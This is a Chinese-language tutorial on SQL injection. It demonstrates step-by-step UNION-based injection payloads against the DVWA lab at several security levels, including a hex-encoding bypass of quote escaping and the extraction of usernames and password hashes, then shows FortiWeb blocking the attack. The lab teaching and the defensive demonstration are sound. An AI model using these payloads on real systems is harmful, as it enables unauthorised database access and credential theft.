【简介】从本篇开始,我们分析各种Web攻击的原理,展示在DVWA上产生的效果,最后是FortiWeb对这些攻击的阻断。首先我们来了解SQL注入攻击。
SQL 注入
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。
手工注入常规定思路:
1、判断是否存在注入,注入是字符型还是数字型;
2、猜解SQL查询语句中的字段数;
3、确定回显位置;
4、获取当前数据库;
5、获取数据库中的表;
6、获取表中的字段名;
7、得取数据。
但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或传递的参数,我们应该要时刻保持警惕,这是安全领域里的「外部数据不可信任」的原则,纵观Web安全领域的各种攻击方式,大多数都是因为开发者违反了这个原则而导致的,所以自然能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所预想的。
安全等级 - Low
DVWA一共有四个安全等级。
① 首先连接单独的DVWA,我们先显示单独DVWA上攻击的效果,然后再对比连接FortiWeb后的DVWA,查看FortiWeb对攻击的拦截效果。DVWA的安全等级设置为Low。
② 选择SQL Injection,点击【View Source】,查看数据库源代码。
③ 分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入。
④ 输入 1' and '1'='1 ,判断SQL是否存在注入,以及注入的类型。
⑤ 分别输入 1' order by 2# 和 1' order by 3# ,猜解SQL查询语句中的字段数,从上面两个图可以说明,SQL语句查询的表的字段数是2。
⑥ 输入 1' union select 1,2# ,确定SQL语句查询之后的回显位置,上面图中可以看出有2个回显。
⑦ 输入 1' union select version(),database()# ,查询当前的数据库以及版本。
⑧ 输入 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# ,获取数据库中的表。
⑨ 输入 1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'# ,获取表中的字段名。
⑩ 输入 1' union select user,password from users# ,获得字段中的数据。
安全等级 - Medium
将安全等级升级为中级。
① 升为中级后加入了一些防御,只提供选择,不允许输入。不过仍然可以用burpsuit抓包来绕过去。
② 分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句中的一些特殊字符,查看sql查询语句可以看出可能存在数字型sql注入。
③ User ID选择1,点击【Submit】,burpsuit抓到包。为了方便展示,这里将结果框和抓包窗口显示在一起。
④ 修改为 id=1 and 1=1 ,点击【Forward】,SQL Injection显示存在注入,注入类型为数字型。
⑤ 修改为 id=1 order by 2# 和 id=1 order by 3# ,猜解sql查询语句中的字段的个数,上图说明字段的个数为2。
⑥ 修改为 id=1 union select 1,2# ,确定回显的位置,上图可以说明有2个回显位置。
⑦ 修改为 id=1 union select database(),version()# ,获取当前数据库的名称以及版本。
⑧ 修改为 id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# ,获取数据库中的所有表。
⑨ 修改为 id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # ,获取表中的所有字段名。考虑到单引号被转义,可以利用 16 进制进行绕过。
⑩ 修改为 id=1 union select user,password from users# ,获取字段中的数据。
安全等级 - High
将安全等级升级为高级。
① 升为高级后可以看出,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入。
② 分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过。
安全等级 - Impossible
将安全等级升级为不可能。
① 升为不可能后,杜绝了的SQL注入。
② 分析源码可以看到有使用PDO技术,以杜绝SQL注入。
FortiWeb 防护
前面一系列的操作说明,要避免SQL注入,需要开发人员注意很多很多。。。。那里,有没有轻松一点的办法呢?
① 这次我们访问192.168.1.128,也就是经过FortiWeb保护的DVWA,安全选择Low,输入一段注入代码,看看会发生什么。
② 访问被FortiWeb成功的阻止了。
③ 登录FortiWeb,选择菜单【日志和报表】-【攻击】,点击【添加过滤器】。
④ 选择【消息ID】。
⑤ 选择阻止页面上显示的消息ID。
⑥ 显示SQL注入被FortiWeb阻止了。如果有了FortiWeb,这样大部分因为SQL代码产生的漏洞安全问题,就可以有效的解决方法了。